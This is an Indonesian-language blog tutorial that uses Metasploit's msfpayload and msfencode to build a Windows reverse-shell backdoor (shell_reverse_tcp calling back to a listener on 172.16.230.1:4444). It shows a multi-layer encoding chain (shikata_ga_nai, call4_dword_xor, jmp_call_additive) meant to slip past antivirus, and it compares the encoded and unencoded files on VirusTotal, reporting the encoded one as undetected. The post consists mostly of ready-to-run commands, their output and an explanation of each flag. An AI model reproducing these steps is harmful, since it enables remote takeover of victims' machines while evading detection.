Metasploit telah menyediakan beberapa tools untuk melakukan penetrasi test. Diantaranya adalah msfpayload untuk membuat payload, dan msfencode untuk melakukan encoding. Msfencode memungkinkan attacker untuk membuat payload denan kedok terbaik yang dapat mem-byassing antivirus.
Pertanyaannya adalah, benarkah encoder ini berfungsi? Dalam kesempatan ini saya akan menunjukan bagaimana encoder bekerja, dan membuktikan bahwa encoder memiliki peran penting dalam melakukan bypass antivirus.
Preparation:
[*] msfpayload
[*] msfencode
Briefing:
[*] buat payload dengan encoder
[*] buat payload tanpa encoder
[*] upload kedua file ke VirusTotal
Kali ini saya akan melakukan encoding virus dengan 3 encoder yang berbeda.
Command:
root@revolution:/# msfpayload windows/shell_reverse_tcp lhost=172.16.230.1 lport=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -c 8 t raw | msfencode -a x86 -e x86/call4_dword_xor -c 8 -t raw | msfencode -a x86 -e x86/jmp_call_additive -c 8 -t raw | msfencode -a x86 -e x86/shikata_ga_nai -c 8 t exe > /tmp/cmd.exe
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 395 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 422 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 449 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 476 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 503 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 530 (iteration=8)
[*] x86/call4_dword_xor succeeded with size 2342 (iteration=1)
[*] x86/call4_dword_xor succeeded with size 2370 (iteration=2)
[*] x86/call4_dword_xor succeeded with size 2398 (iteration=3)
[*] x86/call4_dword_xor succeeded with size 2426 (iteration=4)
[*] x86/call4_dword_xor succeeded with size 2454 (iteration=5)
[*] x86/call4_dword_xor succeeded with size 2482 (iteration=6)
[*] x86/call4_dword_xor succeeded with size 2510 (iteration=7)
[*] x86/call4_dword_xor succeeded with size 2538 (iteration=8)
[*] x86/jmp_call_additive succeeded with size 2569 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 2601 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 2633 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 2665 (iteration=4)
[*] x86/jmp_call_additive succeeded with size 2697 (iteration=5)
[*] x86/jmp_call_additive succeeded with size 2729 (iteration=6)
[*] x86/jmp_call_additive succeeded with size 2761 (iteration=7)
[*] x86/jmp_call_additive succeeded with size 2793 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 2822 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 2851 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 2880 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2909 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2938 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 2967 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 2996 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 3025 (iteration=8)
Keterangan:
[*] Saya menggunakan payload windows/shell_reverse_tcp
[*] IP address saya 172.16.230.1
[*] Menentukan port listener di 4444
[*] Kali ini saya akan melakukan encoding dengan arsitektur 32 bit (-a x86)
[*] Menggunakan encoder x86/shikata_ga_nai (-e x86/shikata_ga_nai)
[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format raw (-t raw)
[*] Mengenkode kembali menggunakan encoder x86/call4_dword_xor (-e x86/call4_dword_xor)
[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format raw (-t raw)
[*] Mengenkode kembali menggunakan encoder x86/jmp_call_additive (-e x86/jmp_call_additive)
[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format raw (-t raw)
[*] Mengenkode kembali menggunakan encoder x86/shikata_ga_nai (-e x86/shikata_ga_nai)
[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format exe
[*] Menyimpannya di dalam direktori /tmp/ dengan nama file cmd.exe
2. Buat payload tanpa encoder
Command:
root@revolution:/# msfpayload windows/shell_reverse_tcp lhost=172.16.230.1 lport=4444 X > /tmp/backdoor.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: {"lhost"=>"172.16.230.1", "lport"=>"4444"}
Keterangan:
[*] Saya menggunakan payload windows/shell_reverse_tcp
[*] IP address saya 172.16.230.1
[*] Menentukan port listener di 4444
[*] Kali ini saya tidak menggunakan encoder dalam membuat payload ini.
3. Upload kedua file
Ini tanpa encoder:
DETECTED
Ini dengan encoder:
UNDETECTED
created by : red-dragon
0 comment:
Post a Comment